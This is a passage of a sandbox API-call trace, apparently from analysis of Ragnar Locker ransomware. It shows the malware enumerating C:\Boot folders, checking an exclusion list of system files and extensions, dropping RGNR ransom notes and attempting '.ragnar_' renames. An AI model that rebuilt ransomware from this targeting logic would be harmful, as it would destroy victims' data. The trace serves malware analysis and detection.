lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.453] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.453] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.453] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.453] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.453] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.453] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.453] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0047.455] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.455] CloseHandle (hObject=0xffffffff) returned 0 [0047.455] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0047.455] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.455] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.455] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.455] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pl-PL\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.455] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.455] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\pl-PL\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.455] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.455] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.455] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.455] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0047.455] lstrcmpiW (lpString1="pt-BR", lpString2=".") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="..") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Windows") returned -1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Windows.old") returned -1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Tor browser") returned -1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Internet Explorer") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Google") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Opera") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Opera Software") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Mozilla") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="Mozilla Firefox") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="$Recycle.Bin") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="ProgramData") returned 1 [0047.456] lstrcmpiW (lpString1="pt-BR", lpString2="All Users") returned 1 [0047.456] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.456] lstrcpyW (in: lpString1=0x1ed660, lpString2="pt-BR" | out: lpString1="pt-BR") returned="pt-BR" [0047.456] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\pt-BR\\") returned="\\\\?\\C:\\Boot\\pt-BR\\" [0047.456] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\pt-BR\\" | out: lpString1="\\\\?\\C:\\Boot\\pt-BR\\") returned="\\\\?\\C:\\Boot\\pt-BR\\" [0047.456] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-BR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\pt-BR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\pt-BR\\RGNR_FD7BD9FC.txt" [0047.456] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\pt-BR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\pt-br\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.459] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-BR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\pt-BR\\*.*") returned="\\\\?\\C:\\Boot\\pt-BR\\*.*" [0047.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pt-BR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.459] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.459] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.459] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.459] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.460] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.460] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.460] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.460] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.460] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.460] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.460] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.460] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.460] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.460] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.460] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.460] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.460] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pt-BR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.460] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.460] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0047.460] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.460] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.460] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.461] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.461] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.461] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.461] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.461] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.461] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.461] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.461] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0047.462] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.462] CloseHandle (hObject=0xffffffff) returned 0 [0047.462] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0047.462] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.462] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.462] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.462] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pt-BR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.462] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.463] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\pt-BR\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.463] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.463] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.463] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.463] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0047.463] lstrcmpiW (lpString1="pt-PT", lpString2=".") returned 1 [0047.463] lstrcmpiW (lpString1="pt-PT", lpString2="..") returned 1 [0047.463] lstrcmpiW (lpString1="pt-PT", lpString2="Windows") returned -1 [0047.463] lstrcmpiW (lpString1="pt-PT", lpString2="Windows.old") returned -1 [0047.463] lstrcmpiW (lpString1="pt-PT", lpString2="Tor browser") returned -1 [0047.463] lstrcmpiW (lpString1="pt-PT", lpString2="Internet Explorer") returned 1 [0047.463] lstrcmpiW (lpString1="pt-PT", lpString2="Google") returned 1 [0047.464] lstrcmpiW (lpString1="pt-PT", lpString2="Opera") returned 1 [0047.464] lstrcmpiW (lpString1="pt-PT", lpString2="Opera Software") returned 1 [0047.464] lstrcmpiW (lpString1="pt-PT", lpString2="Mozilla") returned 1 [0047.464] lstrcmpiW (lpString1="pt-PT", lpString2="Mozilla Firefox") returned 1 [0047.464] lstrcmpiW (lpString1="pt-PT", lpString2="$Recycle.Bin") returned 1 [0047.464] lstrcmpiW (lpString1="pt-PT", lpString2="ProgramData") returned 1 [0047.464] lstrcmpiW (lpString1="pt-PT", lpString2="All Users") returned 1 [0047.464] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.464] lstrcpyW (in: lpString1=0x1ed660, lpString2="pt-PT" | out: lpString1="pt-PT") returned="pt-PT" [0047.464] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\pt-PT\\") returned="\\\\?\\C:\\Boot\\pt-PT\\" [0047.464] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\pt-PT\\" | out: lpString1="\\\\?\\C:\\Boot\\pt-PT\\") returned="\\\\?\\C:\\Boot\\pt-PT\\" [0047.464] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-PT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\pt-PT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\pt-PT\\RGNR_FD7BD9FC.txt" [0047.464] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\pt-PT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\pt-pt\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.467] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-PT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\pt-PT\\*.*") returned="\\\\?\\C:\\Boot\\pt-PT\\*.*" [0047.467] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pt-PT\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.467] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.467] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.467] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.467] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.467] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.468] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.468] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.468] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.468] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.468] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.468] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.468] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.468] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, 